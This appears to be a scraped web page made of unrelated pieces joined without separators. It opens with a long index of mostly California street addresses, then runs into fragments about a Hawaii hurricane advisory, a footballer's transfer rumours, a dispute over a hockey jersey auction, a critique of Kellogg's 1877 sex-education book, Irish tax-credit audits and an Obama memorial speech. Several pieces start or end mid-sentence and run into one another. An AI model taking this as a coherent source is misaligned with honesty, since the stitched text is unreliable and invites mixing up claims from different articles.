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Lincoln Street 0 18787 Hiers Road 0 5500 Wild Iris Lane 0 990 S Regatta Drive 0 Alemany 0 Alemar Way 0 Alice Drive 0 APN #: 0102-010-050 Road 0 APN #: 0102-240-060 Road 0 Arroyo Grande Drive 0 Aston Avenue 0 Atlas Peak Road 0 Avenue Portola 0 Bahia Vista Court 0 Barton Hill Road 0 Basler Road 0 Bayview Avenue 0 Beechwood Court 0 Bella Vista Avenue 0 Bellevue Avenue 0 Berryessa Drive 0 Black Bart Trail 0 Blank Road 0 Boyd Street 0 Brack Road 0 Branscomb Road 0 Brickyard Cove Road 0 Buena Vista Drive 0 Camellia Lane 0 Canyon Road 0 Carmelita Way 0 Carral Lane 0 CARSON Road 0 Chemise Road 0 Circle Drive 0 Circle Oaks Drive 0 Coleman Drive 0 CONIFER Way 0 Conn Valley Road 0 Country Club Lane 0 County 306 Road 0 County Road 57 Road 0 Covelo Road 0 Crest Road 0 Curley Lane 0 Davis Road 0 Delong Avenue 0 Devlin Road 0 Diamond Mountain Road 0 Drake Summit 0 E O Street 0 Eastside Road 0 elk mountain road Road 0 English Hills Court 0 Eucalyptus Drive 0 Eureka Hill Road 0 Fairgrounds Drive 0 Fairview Avenue 0 Fountaingrove Parkway 0 Francisco Avenue 0 Franz Valley Road 0 Frymire Rd, Lot 2 0 Genero #28 Place 0 Genero #29 Place 0 Genero #30 Place 0 Genero #31 Place 0 Genero #32 Place 0 Giusti Road 0 Gold Run Court 0 Headlands Drive 0 Highway 1 0 Highway 128 Highway 0 Huntington Drive 0 HWY 128 0 Hwy 175 Highway 0 Hwy 395 Highway 0 James Street 0 Jewell Street 0 Karen and Dillon Rd Drive 0 Keaton Avenue 0 Kona Lane 0 Lagoon Valley Road 0 Laguna Vista Drive 0 Laurel Street 0 Lawndale Road 0 Leeward Road 0 lewis Road 0 Liberty Lane 0 Long Ranch Road 0 Lopes Road 0 Lot 250 Harness Drive 0 Lot 4 First Street 0 Lot 5 First Street 0 Lot 6 First Street 0 Lot 7 First Street 0 Lot 83 Backbone Road 0 Magnolia Street 0 Mallard Street 0 mankas 0 Marguerite Avenue 0 Marin Valley Drive 0 Marshall Road 0 Mc Bryde Avenue 0 Mccormick Lane 0 McNear Pennisula 0 Meadowsweet Drive 0 Melita Road 0 Midway Road 0 Military West 0 Mill Creek Road 0 Montezuma Avenue 0 Mulford Drive 0 Murray Avenue 0 Mustang Court 0 Navone Street 0 NISENAN Lane 0 None 0 Norton Avenue 0 Oak Knoll Road 0 Oakridge Lane 0 Oceana Drive 0 Old Cazadero Road 0 Palmer Creek Drive 0 Palmer Creek Road 0 Park Boulevard 0 Pine Mountain Road 0 Piner Road 0 Pleasants Valley Road 0 Pope Canyon Road 0 Pritchett Street 0 Prospect Drive 0 Quail Ridge Road 0 R1w Por Sec 9 Road 0 Raglin Ridge Road 0 Richards Boulevard 0 Rimrock Street 0 River Road 0 running springs Way 0 Ryer Road 0 San Carlos Avenue 0 Santa Rosa Avenue 0 Saratoga Drive 0 Second Street 0 Seneca Court 0 Sherwood Rancheria Road 0 Shingle Glen Trail 0 Sikes Road 0 Silverado Trail 0 Silverado Trail Road 0 Sir Francis Drake Boulevard 0 Skyhawk Lane 0 Soda Canyon Road 0 Sonoma Boulevard 0 Sonoma Highway 0 Spanish Valley Trail 0 Stagecoach Canyon Road 0 Stagecoach Lane 0 State Highway 128 0 Stonecrest Drive 0 Sturdivant Avenue 0 Sulphur Mountain Road 0 Sunnyhill Lane 0 Sunnyslope Road 0 Sylvestris Drive 0 Tabor Avenue 0 Temple St /20 Mule Team Pkw 0 Tennessee Street 0 Thompson Avenue 0 Timm Road 0 Van Duzen Road 0 Van Zandt Road 0 Vine Street 0 Vista View Drive 0 Waterman Boulevard 0 Westridge Drive 0 Wetmore Lane 0 Wildcat Canyon Road 0 Winters Road 0 Wolfback Ridge Road 0 Woodman Creek Road 0 Wright Road 0 xx 0 Zinnia Lane 1 Anton Way 1 Appian Way 1 Cielito Drive 1 Corte Cordova 1 Crescent Way 1 Daniel Burnham Court 1 East Road 1 Eastwood Drive 1 Florin Rd Road 1 Foresthill Dr. Road 1 Hawthorne Street 1 Klamath River Road 1 La Canada Court 1 Lafranchi Lane 1 Madrone Street 1 Mandalay Place 1 Marcela Avenue 1 Meadow View Lane 1 Meadowcrest Drive 1 Sherman Island East Levee Road 1 Trestle Glen Circle 1 Van Keppel Road 1 W Shore Road 10 Alcatraz Avenue 10 Arlington Drive 10 Cherry Court 10 El Rose Drive 10 Friendly Lane 10 Newport Way 10 Oak Lane 10 Overhill Road 10 Roscoe Street 10 Royale Avenue 10 Skycrest Way 10 TAMALPAIS Avenue 10 Tomahawk Drive 10 Vineyard View Drive 100 Berkeley Avenue 100 Country Club Drive 100 Del Rio Court 100 Drytown Court 100 El Prado Ave 100 Marin Center Drive 100 Mary Paige Lane 100 Park View Terrace 100 Reserve Road 100 South Street 100 Steamer Lane 100 Temelec Circle 100 Thorndale Drive 1000 Apollo Way 1000 Augusta Court 1000 Fern Hollow Road 1000 Filbert Street 1000 Gerdes Lane 1000 Kidd Creek Road 1000 Lombard Street 1000 Longhorn Lane 1000 North Point Street 1000 Pine Street 1000 Revelle Drive 1000 Stanislaus Way 10000 Main Street 1001 17th Street 1001 Benicia Road 1001 California Street 1001 Dezerai Court 1001 Gobbi Street 1001 Pine Street 10011 El Dorado Way 10013 Plumas Court 1002 Terrace Drive 10030 Bottle Rock Road 10030 Hagemann Lane 10045 Main Street 10046 Plumas Court 1005 Cleveland Avenue 1005 Eastern Avenue 1005 El Camino Real 1005 Hall Street 1005 Little Street 1005 West Street 1005 Westwind Way 1006 State Street 1007 Branciforte Street 10070 Old Redwood Highway 1008 Henry Court 1009 Callawassie Way 1009 North Street 10098 Emerald Drive 101 Auld Court 101 Barbaree Way 101 Clearwater Court 101 Forbes Avenue 101 Golf Course Drive 101 Lombard Street 101 Marion Lane 101 Millview Drive 101 Pear Lane 101 Pine Place 101 St Marys Avenue 1010 Westridge Drive 10100 Del Puerto Canyon Road 10105 Herb Road 1011 Clayton Street 1012 Cohen Court 1012 Silverton Circle 10120 Old Redwood Highway 10122 El Capitan Way 1013 Humphrey Drive 10140 Highway 20 1015 Capitol Street 1015 Redwood Street 1015 Westgate Drive 1016 Eastridge Drive 1016 Murre Way 1016 Whooper Way 10164 Del Monte Way 1017 Sunset Avenue 10171 Furber Lane 10173 El Dorado Way 1018 Mission Bay Drive 1018 Westridge Estate 10180 Rocky Creek Road 10182 Diener Drive 1019 Johnson Street 1019 Santa Cruz Way 1019 Zircon Court 102 Avian Drive 102 Daphne Court 102 Douglas Fir Circle 102 High Street 102 Mountview Terrace 102 Oriole Circle 102 Pebble Beach Drive 102 Primrose Lane 102 Tahoe Circle 1020 6th Street 1020 Gravenstein Highway 1020 Mariposa Drive 1020 Quietwater Ridge 1020 Union Street 1021 Hahman Drive 1021 Lake Street 1021 Main Street 1021 Top Of The Grade 10211 Main Street 1024 Adams Street 1025 Grant Street 1025 Lake Street 1025 Laurel Street 1025 Oak Street 1025 Warren Street 1026 Capp Street 1028 Lewelling Court Court 1028 Lombard Street 1028 Windjammer Drive 1029 Natoma Street 1029 Valle View Court 103 103 Ursuline Road 103 Sunset Circle 103 Ullman Court 103 Village Lane 1030 24th Street 1030 Main Street 1030 Seminary Street 1030 Whistler Drive 1030 Whooper Way 10300 East Road 10301 Old River Road 1031 Berry Lane 1031 Roosevelt Street 10318 Voltaire Avenue 10325 Boom Road 1033 Terrace Drive 10331 Redwood Road 1034 Lorraine Drive 10341 Eastside Road 10350 Wohler Road 1036 Amber Ridge Lane 1036 Regatta Avenue 1036 Regatta Street 1036 Sunset Drive 1038 Caldwell Avenue 1038 Indiana Street 1039 Birkdale Drive 1039 Georgia Street 104 4th Street 104 Cheda Lane 104 Golden Gate Avenue 104 Laurel Grove Avenue 104 Maywood Way 104 Oak Island Place 104 Oretsky Way 104 Vine Street 104 Westgate Circle 104 Williams Lane 1040 Blueridge Drive 1040 Boggs Lane 1040 Boyd Street 1040 Campoy Street 1040 Page Drive 10400 Highway 1 10400 W Highway 299 1042 Jackson Street 1042 Minna Street 10420 White Fang Glen 10420 White Fang Glen Lane 1043 La Quinta Court 10430 White Fang Glen 10435 Woodside Drive 1044 Jackson Street 1044 Las Raposas Road 1044 Von Brandt Street 10440 White Fang Glen 10440 Woodside Drive 1045 Heartwood Avenue 1045 Second Avenue 1045 Ventana Drive 1046 Dawn Court 1047 Lombard Street 1049 2nd Street 105 Brianne Court 105 Claret Circle 105 El Prado Avenue 105 Elbridge Avenue 105 Eucalyptus Knolls 105 Virginia Avenue 105 Willowbend Court 1050 Monterey Boulev 1050 North Point Street 1050 Westridge Drive 10501 Royal Ann Street 10508 Edgewater Drive 1052 Bella Drive 10526 East Road 1053 Ed Power Road 1053 Esparto Court 1053 Wallace Drive 1053 Wightman Way 1055 Thelma Avenue 1055 Van Buren Street 1056 Ashbridge Bay Drive 1056 Carolina Street 1058 Wikiup Drive 10580 Gibson Lane 1059 Maverick Court 106 Atherton Avenue 106 Barbaree Way 106 Canyon Drive 106 Grand View Avenue 106 Labrea Way 106 Plymouth Cove 106 Santa Fe Court 106 Summit Drive 106 Taft Street 106 Union Street 106 Westgate Drive 106 Willowbend Court 1060 Deer Park Road 1060 Orchard Street 1060 Rutherford Road 1063 Saint Andrews Drive 10632 Occidental Road 1064 Berry Lane 1064 Los Gamos Road 10642 Foothill Road 1065 Shadybrook Lane 1067 Darms Lane 1068 Bigleaf Place 10680 Green Valley Road 1069 Shadybrook Lane 1069 Stannage Avenue 107 Cheyenne Drive 107 Edwards Street 107 Goldfinch Drive 107 Green Tree Drive 107 IOLI RANCH Circle 107 Salamanca Street 10700 North Drive 1071 Horizon Drive 10718 Old River Road 10719 Slope Drive 1075 Hargus Avenue 1075 Main Street 1075 Market Street 1079 Hedgeside Avenue 108 3rd Street 108 kingswood Circle 108 Rose Petal Court 108 Villa Terrac 108 Woodbury Circle 1080 Bart Road 1080 Chestnut Street 1080 Dickens Drive 1080 Sutter Street 1081 Cortina Place 1081 Tamarisk Drive 10816 Bancroft Avenue 10825 Clayton Creek Road 10825 Rocky Creek Road 1083 California Avenue 1083 Pacheco Street 1084 Helen Avenue 1084 Linda Vista Avenue 1085 Arroyo Grande Drive 1085 Lodi Lane 1085 Millbrae Avenue 1087 Santa Cruz Way 10871 Merrill Lane 1089 Chestnut Street 1089 Headlands Drive 109 Clover Springs Drive 109 Del Sur Street 109 Glass Mountain Lane 109 Grayson Way 109 Sacramento Way 109 Scot Court 1090 Adams Street 1090 Eleanor Avenue 1090 Main Street 1091 Lilac Drive 10940 Gurley Lane 10951 Pingree Road 1096 Creekside Drive 1097 Green Street 11 Bayview Avenue 11 Buena Vista Avenue 11 Cherry Court 11 Franklin Street 11 High 11 High Street 11 Morning Sun Avenue 11 Perine Place 11 Rock Road 11 Syosset Lane 11 Vineyard Circle 11 West View Avenue 11 Westwood Avenue 110 Bella Vista Way 110 Poppy Court 110 Pueblo Way 110 Redhawk Road 110 Stanford Way 1100 Columbia Drive 1100 deer Trail Drive 1100 Sacramento Street 1100 State Highway 20 1100 Valencia Street 1100 Valley Ford Freestone Road 1101 Bohemian Lane 1101 Valencia Street 11010 West Road 1102 Princeton Drive 1102 Santa Clara Street 1102 Valencia 1105 Hardman Avenue 1105 Mission Avenue 1105 Putney Drive 1105 valley glen Drive 1106 Araquipa Court 1106 Healdsburg Avenue 1107 Castle Oaks Drive 1108 Pinewood Drive 1109 Atlas Peak Road 1109 Capistrano Court 1109 Evans Drive 1109 Speros Loop 1109 Symphony Way 1109 Tannery Creek Road 111 Brae Court 111 Chestnut Street 111 Fulton Shipyard Road 111 Lassen Circle 111 Poppy Court 111 Portola Place 1110 Green Street 1110 Healdsburg Avenue 1111 Westridge Drive 1112 2nd Street 1112 Marwen Drive 11120 Pingree Road 1113 Pear Tree Lane 1114 Ohio Street 1114 Valencia 11144 Ice Box Canyon Road 1115 Bosworth Street 11155 Kerrigan Drive 1116 Landing Lane 1117 Ocean Avenue 1118 Davis Drive 1119 Roosevelt Street 112 Alta Vista Avenue 112 Buckskin Place 112 Cobblestone Court 112 Garner Drive 112 Mallorca Way 112 Oakwood Drive 112 Pamela Court 112 School House Lane 112 Sunrise Lane 1120 Tocia Avenue 1120 Wikiup Drive 1123 Grant Avenue 1124 Carol Lane 1125 Brush Street 1125 Ocean Avenue 1126 Hopi Trail 1126 Tanglewood Drive 113 113 Ursuline Road 113 Broad Street 113 Cathy Court 113 Crescent Court 113 El Crystal Drive 113 Foothill Drive 113 Kentucky Street 113 Kimberly Drive 113 Pajaro Way 113 State Street 113 Summertime Lane 1130 2nd Avenue 1130 Castle Oaks Drive 1130 Folsom Street 11301 Side Potter Valley Road 11305 Winding Way 1131 Evelyn 1131 Juarez Street 1131 London Ranch Road 1131 Lovell Court 1132 Broadway Street 1132 Highland Drive 1133 Athens Street 1135 Highland Drive 1135 Legion Court 1136 Folsom 1137 Enzos Way 1137 Harding Street 1137 La Pintura Lane 11375 Bodega Highway 114 29th Street 114 Buchanan Drive 114 Crivello Avenue 114 Sequoia Glen Lane 114 Stetson Avenue 114 Virginia Avenue 1140 Capistrano Court 1140 Folsom Street 1140 Steele Canyon Road 11400 West Road 1141 Post Street 1141 Shelter Creek Lane 11420 North Drive 1143 Castle Oaks Drive 1143 La Pintura Lane 11433 Oak Street 1144 Sonoma Avenue 1145 Adrienne Way 1145 Olive Hill Lane 1145 Ragatz Lane 1145 Woodvale Drive 1148 Rimrock Drive 1149 Buckthorn Lane 1149 Rimrock Drive 115 American Way 115 Coachman Lane 115 Coleridge Drive 115 Great Circle Drive 115 Oxbow Marina Drive 115 Pacheco Street 115 Parkview Lane 115 San Miguel Road 115 Virginia Street 115 Walnut Circle 1150 Bauer Road 1150 el camino real 1150 Heaven Hill Road 1150 Hillview Drive 1150 Tzabaco Creek Road 1150 Weyand Way 1151 Adrienne Way 1151 Filbert Street 1152 De Haro Street 1153 Verdin Court 1155 Leavenworth Street 1155 Valley Glen Drive 1157 Fulton Avenue 1158 Sutter Street 1159 Broadmoor Drive 1159 Green Valley Road 1159 Highway 1 Highway 1159 Oak Street 116 acres Shingle Glen Trail 116 Birkdale Road 116 Cypress Place 116 Fox Glenn Drive 116 Montford Avenue 116 Ridgecrest Drive 116 Stanyan Street 116 Woodrow Street 1160 Hwy 1 Highway 1160 Mission Street 1160 Virginia Street 1161 Benicia Road 1162 fay Street 1164 La Grande Avenue 11651 Anderson Springs Road 11651 Highway 29 Highway 1166 Clay St. 1167 Castle Oaks Drive 11670 byron Hwy Highway 11675 Jack Tone Road 1168 Ingram Drive 1168 Pear Tree Lane 117 Windcrest Lane 1170 Mcnab Ranch Road 1170 Olive Hill Lane 1171 Eleventh Street 1171 Tubbs Lane 11721 Canyon Drive 11727 Elk Mountain Road 11735 Socrates Mine Road 1175 59th Street 1175 Raymond Avenue 1176 Main Street 1177 California Street 11775 Canyon Drive 1179 Knolls Drive 1179 Las Posadas Road 11791 Gifford Springs Road 118 Baxter Street 118 Bryce Way 118 Echo Place 118 Kimberly Way 118 Mobile Circle 118 Santa Clara Avenue 118 Sequoia Circle 118 Tamal Vista Drive 118 West Street 1182 Pear Tree Lane 1184 Ruby Street 1185 Cloverdale Boulevard 1185 Marwen Drive 1186 Pacific Avenue 11881 Wild Cherry Lane 119 Crescent Road 119 David Lamoree Way 119 Lotus Way 119 Lycett Circle 119 North Street 119 Pajaro Way 119 Parkview Lane 119 Windsor Drive 119 Wisteria Circle 1190 Maize Way 1190 Palou Avenue 11910 Graton Road 1193 Syracuse Circle 11940 Old Redwood Highway 1195 Woodman Way 1196 Liberty Road 1196 Pear Tree Lane 1198 Ingram Drive 12 Brumiss Terrac 12 Fairway Place 12 Ivy Court 12 Jennifer Lane 12 Kotsaris Court 12 Lorenzen Road 12 Montevideo Way 12 Neptune Street 12 Oak Lane 12 Park Crest Court 12 Rockwood Court 12 Stanford Court 12 Wayne Clem Way 120 22nd Avenue 120 4th Street 120 Atherton Oaks Drive 120 Bayside Court 120 Chiquita Road 120 Grayson Way 120 Hidden Glen Court 120 Kapalua Bay Circle 120 Lyford Drive 120 Marview Way 120 Olson Court 120 Rossi Road 120 San Marco Way 120 Seminary Drive 120 Siskiyou Court 1200 Belmont Avenue 1200 Gough Street 1200 Guntly Road 1200 Oak Park Way 1200 Rodgers Road 1200 Tubbs Lane 12000 Old Skaggs Springs Road 1201 Glen Cove Parkway 1202 Trombetta Street 1203 Cayetano Drive 12040 North Drive 12043 Mead Road 1205 Keiser Avenue 1205 Rose Way 1205 San Bruno Avenue 1205 Stewart Street 1205 Tuolumne Street 1206 Mariner Way 12067 Riata Road 1207 Peralta Street 121 Bear Court 121 Johnson Street 121 Parkview Lane 1211 County Road 9 Road 1212 Maple Drive 1212 Sierra Trail Road 1212 Starview Drive 1213 Foothill Boulevard 1215 Dartmouth Circle 12163 Mead Road 12187 Mead Road 12193 Loma Rica Road 122 Candlewood Drive 122 Fair Oaks Street 1221 3rd Avenue 1221 Harrison Street 1221 Magnolia Avenue 1221 Sleepy Hollow Lane 1221 Tucker Road 1222 Daffodil Drive 12220 Perini Road 1223 7th Avenue 1223 Dunaweal Lane 1224 Cayetano Drive 1224 Fitch Mountain Road 1224 Marlow Road 1225 Ohio Street 1225 Summit Lake Drive 1225 Tyler Street 12262 Adine Court 1228 57th Street 1228 Fair Oaks Avenue 1228 Funston Avenue 1228 Hagen Road 12284 Adine Court 1229 Adams Street 123 Fourth Street 123 LELAND Street 123 No Address Road 123 Nolan Court 123 Vista Circle 1230 Bello Avenue 1230 Oakwood Lane 12305 Arbor Park Place 12305 Manzanita Lane 1231 41st Avenue 1231 Hammon Road 1231 Mountain View Avenue 12310 Fiori Lane 12321 Widgeon Way 1234 Grant Avenue 1235 McAllister Street 1235 Sansome Street 12361 Black Oak Drive 1237 Davis Lane 1237 Tall Grass Court 1238 Sonata Drive 1238 Sutter Street 124 Arrowhead Court 124 Brophy Street 124 Chiquita Road 124 Louisiana Street 124 Oakmeade Court 124 Otsego Avenue 124 Sea Walk Drive 124 Skyline Court 124 Southbridge Lane 124 Temelec Circle 124 University Avenue 124 Wykoff Drive 1240 Belmont Avenue 1240 Mayacama Club Drive 1243 Lattie Lane 1245 Hahman Drive 1245 Reed Street 12450 Lime Kiln Road 12452 Laurel Way 1247 Cinnabar Drive 1247 Darling Street 1247 Steele Canyon Road 12471 Cerrito Drive 1249 Poplar Avenue 125 Birchwood Court 125 Currant Lane 125 McKinley Circle 125 Santa Rosa Avenue 125 Schwerin Street 12501 Shady Lane 1252 Terra Nova Boulev 1253 6th Avenue 1254 Broadway 1254 Rhode Island Street 12542 Graton Road 1255 Jameson Canyon Road 1256 67th 1257 Sierra Avenue 1258 Vermont Street 1259 Hale Street 1259 Lindberg Lane 12594 Lakeview Drive 126 Brookside Drive 126 Manchester Drive 126 Market St. Street 126 Market Street 126 Mustang Court 126 Oriole Circle 126 Prospect Avenue 126 Shotwell Street 1260 Eunice Court 12605 Low gap Road 12630 Lakeview Drive 12631 Lakeview Drive 1264 Bush Street 1264 Noe Street 1265 Green Street 1265 University Avenue 1266 Hampshire Street 1267 KECK Drive 1268 Hampshire Street 127 Crescent Avenue 127 Hill Drive 127 Larkspur Close 127 Nautical Cove 127 Topaz Way 12705 E. Highway 20 1271 35th Avenue 1272 Mission Drive 1272 Steele Canyon Road 12738 Oakgrove Avenue 1275 Cayetano Drive 1275 Sloat Boulev 12789 Graton Road 12795 La Barr Meadows Road 128 College Avenue 128 Highway 128 128 Kreuzer Lane 128 Sea Walk Drive 1280 Petaluma Boulevard South 1281 Vallejo Street 12831 Lakeview Drive 12846 Island Circle Drive 1285 Bliss Lane 1285 Redwood Boulevard 1285 San Antonio Road 12851 2nd Street 12877 Danzer Place 12890 Baker Road 129 20th Street 129 Bryce Way 129 El Crystal Drive 129 Moonlight Drive 129 Virginia Street 12901 Highway 20 12902 1st Street 1291 Felder Road 1291 Sanderling Island 1292 Tuliptree Road 1292 Wikiup Drive 12927 Lake Wildwood Drive 1296 Seghesio Way 12973 Konocti View Drive 12991 San Joaquin Avenue 13 Iverson Way 13 Knapp Court 13 Park Crest Court 13 Parkside Way 13 Surrey Street 130 Edinburgh Way 130 El Condor Court 130 Ethel Avenue 130 Garden Avenue 130 High Street 130 K Street 130 Myrtle Court 130 Nantucket Lane 130 Purdue Drive 130 Spur Close 130 Yerba Buena Avenue 1300 Niestrath Road 1300 Redemeyer Road 1300 Shrader Street 1301 El Dorado Street 1301 Indiana Street 13011 Elk Mountain Road 13021 Flying Jib Court 1303 Sanderling Island 1304 Pacific Avenue 13096 Park Drive 131 Brandon Way 131 Clearview Drive 131 Dina Street 131 El Campo Court 131 Franklin Street 131 G Street 131 Hamerton Avenue 131 Lake Mendocino Drive 131 Sherrod Court 1310 Fillmore Street 1310 Sanford Ranch Road 1311 D Street 1311 Lochbrae Road 1312 Steele Canyon Road 13120 Pomo Lane 13121 San Joaquin Avenue 1313 Coronel Avenue 13130 Kenny Creek Road 1314 Q Street 1315 Dutton Avenue 1315 Tucker Hill Road 1315 Weyand Way 1318 7th Avenue 1318 Harwood Street 1318 Stockton Street 1318 Texas Street 132 Bryce Way 132 Flame Drive 132 Glen Drive 132 Kentucky Street 132 Los Verjeles Rd. Road 132 San Marino Avenue 1320 Sanford Ranch Road 1321 Davis Lane 1321 Zachery Place 1322 BETTY Avenue 13233 Woodstock Drive 1324 Alabama Street 1324 Elmhurst Avenue 1324 Sanderling Island 1324 Sereno Drive 1324 Steele Canyon Road 1325 Austin Drive |
the next couple of days. A high surf advisory is in effect for east facing shores of Hawaii Island and east Maui.
For a reminder of how to prepare during this hurricane system read these tips by HELCO or go to our ‘Be Prepared’ menu near the top of this page for hurricane information.
Hurricane Hilda follows ‘hurricane alley’ across the Pacific on track towards Hawaii. August 6-8, 2015 UTC. Video of GOES-15 Satellite imagery via NOAA-NASA GOES Project
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PocketJoevin Jones is coming off a very strong end to the 2016 season and is off to an impressive start in 2017, notching seven assists in his past 20 games and playing rapidly improving defense. It would appear that teams outside of MLS are taking notice.
According to the Trinidad and Tobago Football Association website, Jones is drawing interest from the “German Bundesliga, Spanish La Liga, the Mexican First Division and also another unnamed club in France.” The article also suggests Jones’ current contract is scheduled to run out at the end of this season and that the Sounders have not yet started negotiations on a new deal.
Considering how important Jones has proven himself on both ends of the field for the Sounders, this is hardly welcome news.
Still, it should probably be taken with a grain of salt. That this comes from the official site of the federation certainly lends some credence to the report. But that it just casually throws out interest from leagues as opposed to teams gives the sense that this might be the kind of news floated by an agent. The report also says these foreign clubs are “tracking” Jones, which is a ways off from making a formal offer.
That doesn’t mean the report should be entirely dismissed. Jones has undeniable physical attributes, has shown an impressive growth curve in MLS and is considered one of the most important players for the Soca Warriors. He’s also about the same age Jorge Villafaña was when he moved to Santos Laguna from the Portland Timbers on a $1 million transfer.
If one of these teams makes an offer along those lines, the Sounders couldn’t do much to stop it. Still, they’d be crazy to not at least make sure Jones is signed to an extension.Shortly after the London Knights captured the Memorial Cup, the Hockey Hall of Fame started securing artifacts from that thrilling overtime victory in Red Deer.
The hall took Christian Dvorak’s gloves, Matthew Tkachuk’s stick, Olli Juolevi’s helmet and Mitch Marner’s black No. 93 sweater.
That final item has put the Knights into a sticky situation, possibly on the verge of a messy court battle.
Back in March, at the end of the OHL’s 2015-16 regular season, the Canadian Hockey League’s auction site offered up a number of authentic London game-worn jerseys for sale, including Marner’s black threads.
The blacks are considered London’s third set of jerseys — their road and home jerseys are green and white — but the Knights wore them more than usual this past season.
By the time bidding closed May 19, Marner, the Knights star forward and Maple Leafs prize prospect, had led the OHL post-season in scoring and was named both regular-season and playoff most valuable player. He would go on to be named the Memorial Cup MVP, tournament top scorer and CHL player of the year.
Scott Galbraith, a Londoner and die-hard Knights fan, provided the winning bid and shelled out $3,510, plus tax and delivery, for an authentic black, game-worn Marner jersey.
The highway construction foreman is an avid collector of game-worn sweaters, specifically Knights attire. He received a black Marner jersey from the team, but believes the sweater he paid for is now in possession of the Hockey Hall of Fame.
The Knights, aware of a CHLPA (Canadian Hockey League Players Association) Twitter campaign accusing them of memorabilia fraud in this matter, argue Galbraith was provided with exactly what he was promised in the original auction process.
“We’ve done nothing wrong,” Knights governor Trevor Whiffen, a lawyer, said. “What we were offering for sale on the CHL site were sweaters worn during the regular season. At no time did we say we were going to give him a playoff sweater, an OHL championship sweater or a Memorial Cup sweater.
“We gave him a game-worn Marner sweater. That’s what he accepted knowing the Memorial Cup sweater was in the hall of fame. We said if you’re not happy with that, we’ll refund your money.”
Whiffen claims Galbraith wants more than that and has threatened to sue the team.
The Knights offered to try to reclaim the jersey from the hall, but wanted the collector to sign a final release in a confidentiality agreement before handing it over.
“We tried to get you the sweater (from the hall),” Whiffen said. “We don’t think you’re entitled to it but let’s resolve this amicably, but you’ve got to give us a final release. We’ve tried to pacify him, but there is nothing that will make him happy unless we write a cheque and we’re not going to do that.
“They just wanted to have a fight and get their names in the paper, I guess.”
Galbraith has not yet made his next move public.
The kicker in this dispute?
Galbraith’s lawyer is Cohen Highley’s Gene Chiarello, second on the Knights all-time list of goaltending victories and a director of the hockey team’s alumni association.
“I’m not discussing this case in advance of any litigation,” he said.
The defending Memorial Cup champs don’t sound like they’re about to back down.
“I think it would be completely ill-conceived for Gene Chiarello or any other lawyer to issue a claim,” Whiffen said, “but if they do, I can defend it vigorously — and I will.”
rypyette@postmedia.comWe know John H. Kellogg as the man who invented Corn Flakes and unleashed bran-filled diet fads on an unwary 19th century public. But he was also the author of an influential sex education book that was all about the dangers of self-pleasuring.
Plain Facts about Sexual Life was first published in 1877, with an expanded version released in 1879. In it, Kellogg argued that the facts about reproduction shouldn’t be hidden from children. Instead, they should be taught about sex, preferably by their parents, when they first became curious about it. The book aims to help embarrassed parents, with reasonably straightforward biology lessons about reproductive habits of many different living things, including flowers, bees, and humans. It covers subjects like basic male and female anatomy, the role of sperm and egg, the physical changes of puberty, embryonic development and birth.
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It also offers a lot of advice, much of it based on alarmingly inaccurate 19th century ideas. Sex during pregnancy can harm the fetus. Mental excitement and physical labor should be avoided during menstruation. Women lose interest in sex at menopause. But the bulk of his advice–102 pages of it–warns against masturbation.
His over-the-top warnings alarmed parents for decades. According to Kellogg, masturbation can have terrible health effects, leading to conditions like testicular atrophy, uterine cancer, heart disease, epilepsy, or even insanity. He recommends watching children carefully to make sure they don’t slip into the habit.
Children are naturally sociable, almost without exception. They have a natural dread of being alone. When a child habitually seeks seclusion without a sufficient cause, there are good grounds for suspecting him of sinful habits...They should be carefully followed and watched, unobserved.
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Why was Kellogg so concerned with masturbation? He wanted to improve the moral purity of Americans. And what better way to convince people than by claiming that science is on your side?
Again, that the seminal fluid is the most highly vitalized of all the fluids of the body, and that its rapid production is at the expense of a most exhaustive effort on the part of the vital forces, is well attested by all physiologists. It is further believed by some eminent physicians that the seminal fluid is of great use in the body for building up and replenishing certain tissues, especially those of the nerves and brain, being absorbed after secretion.
He notes, after making this statement, that not all physiologists agree. Presumably those were the physiologists who insisted on actual experimental evidence.
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[Kellogg 1877, 1879]
Contact the author at diane@io9.com.The Revenue is stepping up audits of how large companies are lowering their tax bills after uncovering widespread misuse of tax credits for research and development.
Audits by the authority found tax credits were not being properly claimed in 26 out of 32 firms examined, resulting in €6 million being returned to the exchequer.
The cost of the overall scheme to the exchequer – which allows firms to reduce their corporation tax bills – has risen significantly from €80 million in 2004 to about €225 million in 2010 in forgone taxes. Over the same period, the number of companies availing of the credit increased from fewer than 50 to more than 1,200.
The Revenue has assigned scientific and technical experts to examine the activities of firms to determine if they are involved in genuine research and development, according to confidential records obtained by The Irish Times.
In a statement yesterday, the authority said it was taking the necessary action against taxpayers in cases of non-compliance. The majority of cases involved “accounting errors” and only one involved complete denial of a claim for tax credits.
‘Significant risk’
The results to date demonstrate that use of the credit is a “significant risk”, according to records. The authority has recently started extending its capacity to audit these firms.
The credit operates by giving companies up to 25 per cent of a firm’s R&D expenditure in a tax credit or in cash.
The tax credit was first introduced less than a decade ago to attract high-quality employment in areas such as science, engineering, pharmaceuticals and financial services.
Other internal Revenue records provide an insight into the challenges in investigating the complex ways multinationals are reducing tax bills.
Transfer pricing is a tactic many use to keep profits offshore. It works by selling services or use of intellectual property between associated companies, often across different countries.
Documents indicate the Revenue is developing capacity to ensure it can “stand over the profits declared here” and challenge “any under-declaration due to abusive transfer pricing”.
Revenue intervention
One record states: “Companies investing in Ireland also need to know that Revenue will be prepared to intervene where appropriate to challenge and secure reductions of aggressive adjustments to profits by other jurisdictions, where those adjustments disregard and depart from the arm’s length standard.”
This arm’s length standard requires associated companies to price transactions between them at the same market rate that independent firms would. However, internal records show this is posing a challenge for the Revenue.
Briefing material states that transfer pricing is an “everyday reality for multinationals” but, from the Revenue’s point of view, it is “not an exact science” and comparable transactions to benchmark how companies are using transfer pricing are “difficult to find”.
The authority’s new compliance programme involves allowing a sample of 12 large companies to review whether their tax arrangements comply with the law. These reviews may escalate into audits if, for example, a company refuses to participate or a review suggests its tax arrangements are not in order.
The OECD is reviewing guidelines over transfer pricing. Any changes could have implications for the State, according to internal documents. One record states that any move away from the current system could harm Irish interests and lead to larger countries claiming a greater share of multinationals’ profits than currently applies.President Obama on Tuesday used the interfaith memorial service for five Dallas police officers killed by a sniper to promote gun control, arguing it’s easier for a teen to get a weapon than a book.
“We’ve chosen to underinvest in decent schools,” he said. “We allow poverty to fester, so that entire neighborhoods offer no possibility of gainful employment. We’ve refused to fund mental health programs. We flood communities with so many guns it’s easier for a teen to get his hands on a Glock than get a computer or a book.”
